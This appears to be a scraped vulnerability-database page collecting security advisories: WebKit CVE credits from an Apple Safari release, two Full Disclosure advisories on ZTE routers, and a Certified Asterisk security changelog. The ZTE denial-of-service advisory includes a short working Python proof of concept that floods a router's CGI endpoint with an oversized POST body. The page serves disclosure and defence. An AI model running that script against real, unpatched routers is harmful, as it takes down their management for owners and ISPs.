macOS Sequoia\nImpact: Processing maliciously crafted web content may lead to an\nunexpected Safari crash\nDescription: The issue was addressed with improved memory handling.\nWebKit Bugzilla: 307669\nCVE-2026-43658: Do Young Park\n\nWebKit\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: Processing maliciously crafted web content may lead to an\nunexpected process crash\nDescription: The issue was addressed with improved memory handling.\nWebKit Bugzilla: 308545\nCVE-2026-28905: Yuhao Hu, Yuanming Lai, Chenggang Wu, and Zhe Wang\nWebKit Bugzilla: 308707\nCVE-2026-28847: DARKNAVY (@DarkNavyOrg), Anonymous working with TrendAI\nZero Day Initiative, Daniel Rhea\nWebKit Bugzilla: 309601\nCVE-2026-28904: Luka Ra\u010dki\nWebKit Bugzilla: 310880\nCVE-2026-28955: wac and Kookhwan Lee working with TrendAI Zero Day\nInitiative\nWebKit Bugzilla: 310303\nCVE-2026-28903: Mateusz Krzywicki (iVerify.io)\nWebKit Bugzilla: 309628\nCVE-2026-28953: Maher Azzouzi\nWebKit Bugzilla: 309861\nCVE-2026-28902: Tristan Madani (@TristanInSec) from Talence Security,\nNathaniel Oh (@calysteon)\nWebKit Bugzilla: 310207\nCVE-2026-28901: Aisle offensive security research team (Joshua Rogers,\nLuigino Camastra, Igor Morgenstern, and Guido Vranken), Maher Azzouzi,\nNgan Nguyen of Calif.io\nWebKit Bugzilla: 311631\nCVE-2026-28913: an anonymous researcher\n\nWebKit\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: Processing maliciously crafted web content may lead to an\nunexpected process crash\nDescription: A use-after-free issue was addressed with improved memory\nmanagement.\nWebKit Bugzilla: 313939\nCVE-2026-28883: kwak kiyong / kakaogames\n\nWebKit\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: An app may be able to access sensitive user data\nDescription: This issue was addressed with improved data protection.\nWebKit Bugzilla: 311228\nCVE-2026-28958: Cantina\n\nWebKit\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: Processing maliciously crafted web content may lead to an\nunexpected process crash\nDescription: The issue was addressed with improved input validation.\nWebKit Bugzilla: 310527\nCVE-2026-28917: Vitaly Simonovich\n\nWebKit\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: Processing maliciously crafted web content may lead to an\nunexpected Safari crash\nDescription: A use-after-free issue was addressed with improved memory\nmanagement.\nWebKit Bugzilla: 310234\nCVE-2026-28947: dr3dd\nWebKit Bugzilla: 310544\nCVE-2026-28946: Gia Bui (@yabeow) from Calif.io, dr3dd, w0wbox\nWebKit Bugzilla: 312180\nCVE-2026-28942: Milad Nasr and Nicholas Carlini with Claude, Anthropic\n\nWebKit\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: A malicious iframe may use another website\u2019s download settings\nDescription: The issue was addressed with improved UI handling.\nCVE-2026-28971: Khiem Tran\nWebKit Bugzilla: 311288\n\nWebRTC\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: Processing maliciously crafted web content may lead to an\nunexpected process crash\nDescription: The issue was addressed with improved memory handling.\nWebKit Bugzilla: 311131\nCVE-2026-28944: Kenneth Hsu of Palo Alto Networks, J\u00e9r\u00f4me DJOUDER, dr3dd\n\nAdditional recognition\n\nSafari\nWe would like to acknowledge sean mutuku for their assistance.\n\nSafari Push Notifications\nWe would like to acknowledge Robert Mindo for their assistance.\n\nWebKit\nWe would like to acknowledge Muhammad Zaid Ghifari (Mr.ZheeV),\nKalimantan Utara, Qadhafy Muhammad Tera, Vitaly Simonovich for their\nassistance.\n\nWebRTC\nWe would like to acknowledge Hyeonji Son (@jir4vv1t) of Demon Team for\ntheir assistance.\n\nSafari 26.5 may be obtained from the Mac App Store.\n\nAll information is also posted on the Apple Security Releases\nweb site: https://support.apple.com/100100.\n\nThis message is signed with Apple\u0027s Product Security PGP key,\nand details are available at:\nhttps://www.apple.com/support/security/pgp/\n\n-----BEGIN PGP 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GCVE-1988-2026-0373
Vulnerability from gna-1988 – Published: 2026-09-11 07:55 – Updated: 2026-09-11 07:55
VLAI
EPSS
VEX
Title
[SECURITY ADVISORY] CVE-2021-21735 - ZTE ZXHN H168N V3.5 Unauthenticated Admin Credential Leak
Summary
-----BEGIN SECURITY ADVISORY-----
Advisory ID: MONX-2021-001
CVE ID: CVE-2021-21735
Title: ZTE ZXHN H168N V3.5 - Unauthenticated Wizard Credential
Disclosure to Full Admin Compromise
Affected: ZTE ZXHN H168N V3.5
Date: 2026-05-20
Author: Mina Nageh Salalma (Monx Research)
Contact: minanageh379 () gmail com
Public URL:
https://github.com/minanagehsalalma/cve-2021-21735-zte-zxhn-h168n-admin-compromise
MITRE: https://www.cve.org/CVERecord?id=CVE-2021-21735
VULNERABILITY DESCRIPTION
--------------------------
The ZTE ZXHN H168N V3.5 firmware exposes quick-setup wizard endpoints that
return PPPoE credentials (ADUsername, VDUsername) and the WLAN KeyPassphrase
via the GetPassword action without requiring authentication. The firmware
routing allowlists these endpoints through a QuickSetupEnable branch.
In ISP-deployed configurations where the Wi-Fi password is reused as the
default admin password, this credential disclosure is a full admin
compromise
chain requiring a single unauthenticated HTTP request.
A bulk PoC script (zte_zxhn_h168n_bulk_poc.py) is included in the repository
for verifying scale of exposure.
CREDITS
-------
Mina Nageh Salalma (Monx Research)
https://github.com/minanagehsalalma
-----END SECURITY ADVISORY-----
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
Relationships
analysis
GCVE-1988-2026-0373 (this record)
- related CVE-2021-21735
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GCVE-1988-2026-0370
Vulnerability from gna-1988 – Published: 2026-09-11 07:55 – Updated: 2026-09-11 07:55
VLAI
EPSS
VEX
Title
[SECURITY ADVISORY] CVE-2026-34473 - Unauthenticated DoS in 17+ ZTE Router Models (140K+ Devices)
Summary
-----BEGIN SECURITY ADVISORY-----
Advisory ID: MONX-2026-001
CVE ID: CVE-2026-34473
Title: Unauthenticated Denial of Service via Oversized POST Body
in ZTE Router CGILua Parser
Affected: 17+ ZTE ZXHN router models (~140,000 publicly exposed
devices)
CVSS Score: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
Date: 2026-05-20
Author: Mina Nageh Salalma (Monx Research)
Contact: minanageh379 () gmail com
Public URL:
https://github.com/minanagehsalalma/cve-2026-34473-unauthenticated-dos-zte-routers
MITRE: https://www.cve.org/CVERecord?id=CVE-2026-34473
AFFECTED PRODUCTS
-----------------
17+ ZTE ZXHN router models sharing the CGILua firmware stack.
Estimated 140,000+ devices publicly reachable on the Internet at time of
research.
VULNERABILITY DESCRIPTION
--------------------------
The CGILua post.lua parser used in ZTE ZXHN routers does not enforce an
upper
bound on the body size of application/x-www-form-urlencoded POST requests.
An unauthenticated attacker can crash or freeze the router's web management
service by sending a single HTTP POST request with an oversized body to any
CGI endpoint. No authentication, session cookie, or prior access is
required.
ROOT CAUSE
----------
Firmware analysis of extracted squashfs images confirms that post.lua reads
the entire POST body into memory before parsing. There is no Content-Length
check or body-size limiter before the allocation occurs. Oversized payloads
cause the LuCI/CGILua process to exhaust memory or fault, taking down the
web management interface until the device is power-cycled.
PROOF OF CONCEPT
----------------
import requests
url = "http://TARGET_IP/cgi-bin/luci";
payload = "a=" + "A" * (256 * 1024) # 256 KB
headers = {"Content-Type": "application/x-www-form-urlencoded"}
try:
r = requests.post(url, data=payload, headers=headers, timeout=15)
print(f"HTTP {r.status_code}")
except requests.exceptions.Timeout:
print("Timeout - DoS successful")
except requests.exceptions.ConnectionError:
print("Connection dropped - DoS successful")
IMPACT
------
An unauthenticated attacker on the LAN or WAN (if management interface is
publicly exposed, as is the case for ~140,000 devices) can permanently
disable remote management access, forcing a physical reboot to restore
access.
ISP-deployed devices with no physical access for end users are especially
vulnerable.
TIMELINE
--------
2024-05: Local validation on hardware. Firmware extraction and root-cause
confirmed.
2024-05: Report sent to ZTE PSIRT.
2025-01: Escalated to MITRE after ZTE failed to respond.
2026-03: MITRE assigned CVE-2026-34473.
2026-05-20: Full public disclosure.
VENDOR RESPONSE
---------------
ZTE PSIRT did not respond to the initial report. MITRE assigned the CVE
directly. No patch has been issued.
CREDITS
-------
Mina Nageh Salalma (Monx Research)
https://github.com/minanagehsalalma
-----END SECURITY ADVISORY-----
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
8 references
Relationships
analysis
GCVE-1988-2026-0370 (this record)
- related CVE-2026-34473
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GCVE-1988-2026-0356
Vulnerability from gna-1988 – Published: 2026-09-11 07:55 – Updated: 2026-09-11 07:55
VLAI
EPSS
VEX
Title
Certified Asterisk Security Release certified-22.8-cert3
Summary
The Asterisk Development Team would like to announce security release
Certified Asterisk 22.8-cert3.
The release artifacts are available for immediate download at
https://github.com/asterisk/asterisk/releases/tag/certified-22.8-cert3
and
https://downloads.asterisk.org/pub/telephony/certified-asterisk
Repository: https://github.com/asterisk/asterisk
Tag: certified-22.8-cert3
## Change Log for Release asterisk-certified-22.8-cert3
### Links:
- [Full
ChangeLog](https://downloads.asterisk.org/pub/telephony/certified-asterisk/releases/ChangeLog-certified-22.8-cert3.html)
- [GitHub Diff](https://github.com/asterisk/asterisk/compare/certified-22.8-cert2...certified-22.8-cert3)
- [Tarball](https://downloads.asterisk.org/pub/telephony/certified-asterisk/asterisk-certified-22.8-cert3.tar.gz)
- [Downloads](https://downloads.asterisk.org/pub/telephony/certified-asterisk)
### Summary:
- Commits: 21
- Commit Authors: 7
- Issues Resolved: 0
- Security Advisories Resolved: 20
- [GHSA-3g56-cgrh-95p5](https://github.com/asterisk/asterisk/security/advisories/GHSA-3g56-cgrh-95p5): chan_unistim
DIALPAGE digit handling can overflow phone_number and crash Asterisk
- [GHSA-3rhj-hhw7-m6fw](https://github.com/asterisk/asterisk/security/advisories/GHSA-3rhj-hhw7-m6fw): NULL Pointer
Dereference in HTTP AMI Digest Authentication
- [GHSA-4pgv-j3mr-3rcp](https://github.com/asterisk/asterisk/security/advisories/GHSA-4pgv-j3mr-3rcp): Reflected XSS
in Phone Provisioning HTTP Error Pages
- [GHSA-589g-qgf8-m6mx](https://github.com/asterisk/asterisk/security/advisories/GHSA-589g-qgf8-m6mx): Stack buffer
overflow in MWI NOTIFY Message-Account parsing
- [GHSA-746q-794h-cc7f](https://github.com/asterisk/asterisk/security/advisories/GHSA-746q-794h-cc7f): Out-of-Bounds
Read in Q.931 Information Element Parser (H.323 Addon)
- [GHSA-8jhw-m2hg-vp3h](https://github.com/asterisk/asterisk/security/advisories/GHSA-8jhw-m2hg-vp3h): Heap Buffer
Overflow in OGG/Speex File Playback (format_ogg_speex)
- [GHSA-8jw3-ccr9-xrmf](https://github.com/asterisk/asterisk/security/advisories/GHSA-8jw3-ccr9-xrmf): Buffer
over-read in Asterisk PJSIP MWI body parser
- [GHSA-g8q2-p36q-94f6](https://github.com/asterisk/asterisk/security/advisories/GHSA-g8q2-p36q-94f6):
Heap-use-after-free in Asterisk PJSIP TCP/SDP handling when TCP connection closes during SDP processing
- [GHSA-h5hv-jmgj-92q2](https://github.com/asterisk/asterisk/security/advisories/GHSA-h5hv-jmgj-92q2): CVE-2022-37325
fix is absent from current chan_ooh323 Q.931 party-number parser
- [GHSA-j2mm-57pq-jh94](https://github.com/asterisk/asterisk/security/advisories/GHSA-j2mm-57pq-jh94): Possible RED
T.140 Generation Accumulation OOB Write
- [GHSA-mxgm-8c6f-5p8f](https://github.com/asterisk/asterisk/security/advisories/GHSA-mxgm-8c6f-5p8f): Stack buffer
overflow in res_xmpp XMPP namespace prefix handling
- [GHSA-ph27-3m5q-mj5m](https://github.com/asterisk/asterisk/security/advisories/GHSA-ph27-3m5q-mj5m): SQL Injection
in cel_pgsql and cel_tds via CELGenUserEvent eventtype Field
- [GHSA-q9fr-m7g8-6ph5](https://github.com/asterisk/asterisk/security/advisories/GHSA-q9fr-m7g8-6ph5): Asterisk
app_sms.c copies externally controlled SMS lengths into fixed in-struct buffers
- [GHSA-qf8j-jp7h-c5hx](https://github.com/asterisk/asterisk/security/advisories/GHSA-qf8j-jp7h-c5hx): Out-of-Bounds
Write in Codec2 Decoder Due to Floor/Ceil Sample Count Mismatch
- [GHSA-r6c2-hwc2-j4mp](https://github.com/asterisk/asterisk/security/advisories/GHSA-r6c2-hwc2-j4mp): LDAP Filter
Injection in res_config_ldap via SIP Username (Unauthenticated Information Disclosure)
- [GHSA-vfhr-r9x9-c687](https://github.com/asterisk/asterisk/security/advisories/GHSA-vfhr-r9x9-c687): Possible RED
T.140 Heap Buffer Overflow
- [GHSA-vrfp-mg3q-3959](https://github.com/asterisk/asterisk/security/advisories/GHSA-vrfp-mg3q-3959): ARI
setChannelVar bypasses live_dangerously and permits FILE() writes
- [GHSA-wcvv-g26m-wx5c](https://github.com/asterisk/asterisk/security/advisories/GHSA-wcvv-g26m-wx5c): ARI
REST-over-WebSocket read-only bypass allows arbitrary module path load and conditional RCE
- [GHSA-x348-j6c9-77f3](https://github.com/asterisk/asterisk/security/advisories/GHSA-x348-j6c9-77f3): Stack Buffer
Overflow in H.323 ooTrace() via Unbounded vsprintf into Fixed 2048-byte Buffer
- [GHSA-xgj6-2gc5-5x9c](https://github.com/asterisk/asterisk/security/advisories/GHSA-xgj6-2gc5-5x9c): ast_loggrabber
executes python script in world writable directory(`/tmp`) leading to potential privilege escalation And RCE
### User Notes:
- #### acl: Add ACL support to http and ari
A new section, type=restriction has been added to http.conf
to allow an uri prefix based acl to be configured. See
http.conf.sample for examples and more information.
The user section of ari.conf can now contain an acl configuration
to restrict users access. See ari.conf.sample for examples and more
information
### Upgrade Notes:
### Developer Notes:
- #### ARI: Make ARI applications respect live_dangerously.
ARI applications can no longer call "dangerous" dialplan
functions like DB(), FILE(), SHELL(), CURL(), STAT(), etc. without
enabling "live_dangerously" in asterisk.conf.
Resolves: #GHSA-vrfp-mg3q-3959
### Commit Authors:
- George Joseph: (6)
- Joshua C. Colp: (1)
- Mike Bradeen: (4)
- Milan Kyselica: (7)
- Pengpeng Hou: (1)
- Roberto Paleari: (1)
- ThatTotallyRealMyth: (1)
## Issue and Commit Detail:
### Closed Issues:
- !GHSA-3g56-cgrh-95p5: chan_unistim DIALPAGE digit handling can overflow phone_number and crash Asterisk
- !GHSA-3rhj-hhw7-m6fw: NULL Pointer Dereference in HTTP AMI Digest Authentication
- !GHSA-4pgv-j3mr-3rcp: Reflected XSS in Phone Provisioning HTTP Error Pages
- !GHSA-589g-qgf8-m6mx: Stack buffer overflow in MWI NOTIFY Message-Account parsing
- !GHSA-746q-794h-cc7f: Out-of-Bounds Read in Q.931 Information Element Parser (H.323 Addon)
- !GHSA-8jhw-m2hg-vp3h: Heap Buffer Overflow in OGG/Speex File Playback (format_ogg_speex)
- !GHSA-8jw3-ccr9-xrmf: Buffer over-read in Asterisk PJSIP MWI body parser
- !GHSA-g8q2-p36q-94f6: Heap-use-after-free in Asterisk PJSIP TCP/SDP handling when TCP connection closes during SDP
processing
- !GHSA-h5hv-jmgj-92q2: CVE-2022-37325 fix is absent from current chan_ooh323 Q.931 party-number parser
- !GHSA-j2mm-57pq-jh94: Possible RED T.140 Generation Accumulation OOB Write
- !GHSA-mxgm-8c6f-5p8f: Stack buffer overflow in res_xmpp XMPP namespace prefix handling
- !GHSA-ph27-3m5q-mj5m: SQL Injection in cel_pgsql and cel_tds via CELGenUserEvent eventtype Field
- !GHSA-q9fr-m7g8-6ph5: Asterisk app_sms.c copies externally controlled SMS lengths into fixed in-struct buffers
- !GHSA-qf8j-jp7h-c5hx: Out-of-Bounds Write in Codec2 Decoder Due to Floor/Ceil Sample Count Mismatch
- !GHSA-r6c2-hwc2-j4mp: LDAP Filter Injection in res_config_ldap via SIP Username (Unauthenticated Information
Disclosure)
- !GHSA-vfhr-r9x9-c687: Possible RED T.140 Heap Buffer Overflow
- !GHSA-vrfp-mg3q-3959: ARI setChannelVar bypasses live_dangerously and permits FILE() writes
- !GHSA-wcvv-g26m-wx5c: ARI REST-over-WebSocket read-only bypass allows arbitrary module path load and conditional RCE
- !GHSA-x348-j6c9-77f3: Stack Buffer Overflow in H.323 ooTrace() via Unbounded vsprintf into Fixed 2048-byte Buffer
- !GHSA-xgj6-2gc5-5x9c: ast_loggrabber executes python script in world writable directory(`/tmp`) leading to
potential privilege escalation And RCE
### Commits By Author:
- #### George Joseph (6):
- chan_unistim.c: Prevent overrun of phone_number field.
- res_ari: Ensure read-only users are properly authorized via REST Over WebSocket.
- pjsip_message_filter: Use pj_strdup instead of pj_strassign to save local address.
- ooh323c/ooq931.c: Ensure ooQ931Decode doesn't run out-of-bounds.
- ARI: Make ARI applications respect live_dangerously.
- res_rtp_asterisk.c: Address 2 potential T.140 RED buffer overruns.
- #### Joshua C. Colp (1):
- build: Fix GCC discarded-qualifiers const errors.
- #### Mike Bradeen (4):
- ooh323c: not checking for IE minimum length
- manager: Use remote address in user error logging
- ooh323: Prevent potential buffer overflow in trace logging
- acl: Add ACL support to http and ari
- #### Milan Kyselica (7):
- res_xmpp: Fix stack buffer overflow in namespace prefix handling
- res_pjsip_pubsub: Add width limit to sscanf in MWI NOTIFY parser
- res_config_ldap: Escape LDAP filter values per RFC 4515
- cel_pgsql, cel_tds: Escape eventtype field to prevent SQL injection
- http: Escape error page text to prevent reflected XSS
- codec_codec2: Only process complete Codec2 frames in decoder
- format_ogg_speex: Add bounds check to prevent heap buffer overflow
- #### Pengpeng Hou (1):
- app_sms: Bound protocol 1 SMS unpacking to fixed-size buffers
- #### Roberto Paleari (1):
- res/res_pjsip_pubsub.c: Fix buffer over-read in MWI body parser
- #### ThatTotallyRealMyth (1):
- ast_loggrabber: Install the ast_tsconvert.py script to a secure temp directory.
### Commit List:
- ast_loggrabber: Install the ast_tsconvert.py script to a secure temp directory.
- chan_unistim.c: Prevent overrun of phone_number field.
- ooh323c: not checking for IE minimum length
- res_ari: Ensure read-only users are properly authorized via REST Over WebSocket.
- pjsip_message_filter: Use pj_strdup instead of pj_strassign to save local address.
- ooh323c/ooq931.c: Ensure ooQ931Decode doesn't run out-of-bounds.
- ARI: Make ARI applications respect live_dangerously.
- res_rtp_asterisk.c: Address 2 potential T.140 RED buffer overruns.
- res/res_pjsip_pubsub.c: Fix buffer over-read in MWI body parser
- manager: Use remote address in user error logging
- ooh323: Prevent potential buffer overflow in trace logging
- app_sms: Bound protocol 1 SMS unpacking to fixed-size buffers
- res_xmpp: Fix stack buffer overflow in namespace prefix handling
- res_pjsip_pubsub: Add width limit to sscanf in MWI NOTIFY parser
- res_config_ldap: Escape LDAP filter values per RFC 4515
- cel_pgsql, cel_tds: Escape eventtype field to prevent SQL injection
- http: Escape error page text to prevent reflected XSS
- codec_codec2: Only process complete Codec2 frames in decoder
- format_ogg_speex: Add bounds check to prevent heap buffer overflow
- acl: Add ACL support to http and ari
- build: Fix GCC discarded-qualifiers const errors.
### Commit Details:
#### ast_loggrabber: Install the ast_tsconvert.py script to a secure temp directory.
Author: ThatTotallyRealMyth
Date: 2026-03-19
The ast_tsconvert.py script called by ast_loggrabber is now installed in a
temporary directory that isn't world readable or writable.
Resolves: #GHSA-xgj6-2gc5-5x9c
#### chan_unistim.c: Prevent overrun of phone_number field.
Author: George Joseph
Date: 2026-06-15
Add a check to key_dial_page() to ensure that dialed digits won't overrun
the phone_number field.
Resolves: #GHSA-3g56-cgrh-95p5
#### ooh323c: not checking for IE minimum length
Author: Mike Bradeen
Date: 2022-06-06
When decoding q.931 encoded calling/called number
now checking for length being less than minimum required.
Resolves: #GHSA-h5hv-jmgj-92q2
#### res_ari: Ensure read-only users are properly authorized via REST Over WebSocket.
Author: George Joseph
Date: 2026-06-12
The REST over WebSocket path now properly prevents non-GET methods from
being executed on inbound WebSockets.
* The query parameters from the original incoming GET request that caused the
upgrade to WebSocket are now passed to all REST requests that come from the
client. This ensures that if the client authenticated with a read-only
userid using the "api_key" query_string parameter, REST requests coming
in over the WebSocket will only be able to execute GETs on resources.
The HTTP headers
Severity
No CVSS data available.
Assigner
References
30 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | Certified Asterisk Security |
Affected:
unknown
|
Relationships
reference
GCVE-1988-2026-0356 (this record)
- related CVE-2022-37325
{
"containers": {
"cna": {
"affected": [
{
"product": "Certified Asterisk Security",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Asterisk Development Team via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "The Asterisk Development Team would like to announce security release \nCertified Asterisk 22.8-cert3.\n\nThe release artifacts are available for immediate download at \nhttps://github.com/asterisk/asterisk/releases/tag/certified-22.8-cert3\nand\nhttps://downloads.asterisk.org/pub/telephony/certified-asterisk\n\nRepository: https://github.com/asterisk/asterisk\nTag: certified-22.8-cert3\n\n\n## Change Log for Release asterisk-certified-22.8-cert3\n\n### Links:\n\n - [Full \nChangeLog](https://downloads.asterisk.org/pub/telephony/certified-asterisk/releases/ChangeLog-certified-22.8-cert3.html)\n \n - [GitHub Diff](https://github.com/asterisk/asterisk/compare/certified-22.8-cert2...certified-22.8-cert3) \n - [Tarball](https://downloads.asterisk.org/pub/telephony/certified-asterisk/asterisk-certified-22.8-cert3.tar.gz) \n - [Downloads](https://downloads.asterisk.org/pub/telephony/certified-asterisk) \n\n### Summary:\n\n- Commits: 21\n- Commit Authors: 7\n- Issues Resolved: 0\n- Security Advisories Resolved: 20\n - [GHSA-3g56-cgrh-95p5](https://github.com/asterisk/asterisk/security/advisories/GHSA-3g56-cgrh-95p5): chan_unistim \nDIALPAGE digit handling can overflow phone_number and crash Asterisk\n - [GHSA-3rhj-hhw7-m6fw](https://github.com/asterisk/asterisk/security/advisories/GHSA-3rhj-hhw7-m6fw): NULL Pointer \nDereference in HTTP AMI Digest Authentication\n - [GHSA-4pgv-j3mr-3rcp](https://github.com/asterisk/asterisk/security/advisories/GHSA-4pgv-j3mr-3rcp): Reflected XSS \nin Phone Provisioning HTTP Error Pages\n - [GHSA-589g-qgf8-m6mx](https://github.com/asterisk/asterisk/security/advisories/GHSA-589g-qgf8-m6mx): Stack buffer \noverflow in MWI NOTIFY Message-Account parsing\n - [GHSA-746q-794h-cc7f](https://github.com/asterisk/asterisk/security/advisories/GHSA-746q-794h-cc7f): Out-of-Bounds \nRead in Q.931 Information Element Parser (H.323 Addon)\n - [GHSA-8jhw-m2hg-vp3h](https://github.com/asterisk/asterisk/security/advisories/GHSA-8jhw-m2hg-vp3h): Heap Buffer \nOverflow in OGG/Speex File Playback (format_ogg_speex)\n - [GHSA-8jw3-ccr9-xrmf](https://github.com/asterisk/asterisk/security/advisories/GHSA-8jw3-ccr9-xrmf): Buffer \nover-read in Asterisk PJSIP MWI body parser\n - [GHSA-g8q2-p36q-94f6](https://github.com/asterisk/asterisk/security/advisories/GHSA-g8q2-p36q-94f6): \nHeap-use-after-free in Asterisk PJSIP TCP/SDP handling when TCP connection closes during SDP processing\n - [GHSA-h5hv-jmgj-92q2](https://github.com/asterisk/asterisk/security/advisories/GHSA-h5hv-jmgj-92q2): CVE-2022-37325 \nfix is absent from current chan_ooh323 Q.931 party-number parser\n - [GHSA-j2mm-57pq-jh94](https://github.com/asterisk/asterisk/security/advisories/GHSA-j2mm-57pq-jh94): Possible RED \nT.140 Generation Accumulation OOB Write\n - [GHSA-mxgm-8c6f-5p8f](https://github.com/asterisk/asterisk/security/advisories/GHSA-mxgm-8c6f-5p8f): Stack buffer \noverflow in res_xmpp XMPP namespace prefix handling\n - [GHSA-ph27-3m5q-mj5m](https://github.com/asterisk/asterisk/security/advisories/GHSA-ph27-3m5q-mj5m): SQL Injection \nin cel_pgsql and cel_tds via CELGenUserEvent eventtype Field\n - [GHSA-q9fr-m7g8-6ph5](https://github.com/asterisk/asterisk/security/advisories/GHSA-q9fr-m7g8-6ph5): Asterisk \napp_sms.c copies externally controlled SMS lengths into fixed in-struct buffers\n - [GHSA-qf8j-jp7h-c5hx](https://github.com/asterisk/asterisk/security/advisories/GHSA-qf8j-jp7h-c5hx): Out-of-Bounds \nWrite in Codec2 Decoder Due to Floor/Ceil Sample Count Mismatch\n - [GHSA-r6c2-hwc2-j4mp](https://github.com/asterisk/asterisk/security/advisories/GHSA-r6c2-hwc2-j4mp): LDAP Filter \nInjection in res_config_ldap via SIP Username (Unauthenticated Information Disclosure)\n - [GHSA-vfhr-r9x9-c687](https://github.com/asterisk/asterisk/security/advisories/GHSA-vfhr-r9x9-c687): Possible RED \nT.140 Heap Buffer Overflow\n - [GHSA-vrfp-mg3q-3959](https://github.com/asterisk/asterisk/security/advisories/GHSA-vrfp-mg3q-3959): ARI \nsetChannelVar bypasses live_dangerously and permits FILE() writes\n - [GHSA-wcvv-g26m-wx5c](https://github.com/asterisk/asterisk/security/advisories/GHSA-wcvv-g26m-wx5c): ARI \nREST-over-WebSocket read-only bypass allows arbitrary module path load and conditional RCE\n - [GHSA-x348-j6c9-77f3](https://github.com/asterisk/asterisk/security/advisories/GHSA-x348-j6c9-77f3): Stack Buffer \nOverflow in H.323 ooTrace() via Unbounded vsprintf into Fixed 2048-byte Buffer\n - [GHSA-xgj6-2gc5-5x9c](https://github.com/asterisk/asterisk/security/advisories/GHSA-xgj6-2gc5-5x9c): ast_loggrabber \nexecutes python script in world writable directory(`/tmp`) leading to potential privilege escalation And RCE\n\n### User Notes:\n\n- #### acl: Add ACL support to http and ari\n A new section, type=restriction has been added to http.conf\n to allow an uri prefix based acl to be configured. See\n http.conf.sample for examples and more information.\n The user section of ari.conf can now contain an acl configuration\n to restrict users access. See ari.conf.sample for examples and more\n information\n\n\n### Upgrade Notes:\n\n\n### Developer Notes:\n\n- #### ARI: Make ARI applications respect live_dangerously.\n ARI applications can no longer call \"dangerous\" dialplan\n functions like DB(), FILE(), SHELL(), CURL(), STAT(), etc. without\n enabling \"live_dangerously\" in asterisk.conf.\n Resolves: #GHSA-vrfp-mg3q-3959\n\n\n### Commit Authors:\n\n- George Joseph: (6)\n- Joshua C. Colp: (1)\n- Mike Bradeen: (4)\n- Milan Kyselica: (7)\n- Pengpeng Hou: (1)\n- Roberto Paleari: (1)\n- ThatTotallyRealMyth: (1)\n\n## Issue and Commit Detail:\n\n### Closed Issues:\n\n - !GHSA-3g56-cgrh-95p5: chan_unistim DIALPAGE digit handling can overflow phone_number and crash Asterisk\n - !GHSA-3rhj-hhw7-m6fw: NULL Pointer Dereference in HTTP AMI Digest Authentication\n - !GHSA-4pgv-j3mr-3rcp: Reflected XSS in Phone Provisioning HTTP Error Pages\n - !GHSA-589g-qgf8-m6mx: Stack buffer overflow in MWI NOTIFY Message-Account parsing\n - !GHSA-746q-794h-cc7f: Out-of-Bounds Read in Q.931 Information Element Parser (H.323 Addon)\n - !GHSA-8jhw-m2hg-vp3h: Heap Buffer Overflow in OGG/Speex File Playback (format_ogg_speex)\n - !GHSA-8jw3-ccr9-xrmf: Buffer over-read in Asterisk PJSIP MWI body parser\n - !GHSA-g8q2-p36q-94f6: Heap-use-after-free in Asterisk PJSIP TCP/SDP handling when TCP connection closes during SDP \nprocessing\n - !GHSA-h5hv-jmgj-92q2: CVE-2022-37325 fix is absent from current chan_ooh323 Q.931 party-number parser\n - !GHSA-j2mm-57pq-jh94: Possible RED T.140 Generation Accumulation OOB Write\n - !GHSA-mxgm-8c6f-5p8f: Stack buffer overflow in res_xmpp XMPP namespace prefix handling\n - !GHSA-ph27-3m5q-mj5m: SQL Injection in cel_pgsql and cel_tds via CELGenUserEvent eventtype Field\n - !GHSA-q9fr-m7g8-6ph5: Asterisk app_sms.c copies externally controlled SMS lengths into fixed in-struct buffers\n - !GHSA-qf8j-jp7h-c5hx: Out-of-Bounds Write in Codec2 Decoder Due to Floor/Ceil Sample Count Mismatch\n - !GHSA-r6c2-hwc2-j4mp: LDAP Filter Injection in res_config_ldap via SIP Username (Unauthenticated Information \nDisclosure)\n - !GHSA-vfhr-r9x9-c687: Possible RED T.140 Heap Buffer Overflow\n - !GHSA-vrfp-mg3q-3959: ARI setChannelVar bypasses live_dangerously and permits FILE() writes\n - !GHSA-wcvv-g26m-wx5c: ARI REST-over-WebSocket read-only bypass allows arbitrary module path load and conditional RCE\n - !GHSA-x348-j6c9-77f3: Stack Buffer Overflow in H.323 ooTrace() via Unbounded vsprintf into Fixed 2048-byte Buffer\n - !GHSA-xgj6-2gc5-5x9c: ast_loggrabber executes python script in world writable directory(`/tmp`) leading to \npotential privilege escalation And RCE\n\n### Commits By Author:\n\n- #### George Joseph (6):\n - chan_unistim.c: Prevent overrun of phone_number field.\n - res_ari: Ensure read-only users are properly authorized via REST Over WebSocket.\n - pjsip_message_filter: Use pj_strdup instead of pj_strassign to save local address.\n - ooh323c/ooq931.c: Ensure ooQ931Decode doesn\u0027t run out-of-bounds.\n - ARI: Make ARI applications respect live_dangerously.\n - res_rtp_asterisk.c: Address 2 potential T.140 RED buffer overruns.\n\n- #### Joshua C. Colp (1):\n - build: Fix GCC discarded-qualifiers const errors.\n\n- #### Mike Bradeen (4):\n - ooh323c: not checking for IE minimum length\n - manager: Use remote address in user error logging\n - ooh323: Prevent potential buffer overflow in trace logging\n - acl: Add ACL support to http and ari\n\n- #### Milan Kyselica (7):\n - res_xmpp: Fix stack buffer overflow in namespace prefix handling\n - res_pjsip_pubsub: Add width limit to sscanf in MWI NOTIFY parser\n - res_config_ldap: Escape LDAP filter values per RFC 4515\n - cel_pgsql, cel_tds: Escape eventtype field to prevent SQL injection\n - http: Escape error page text to prevent reflected XSS\n - codec_codec2: Only process 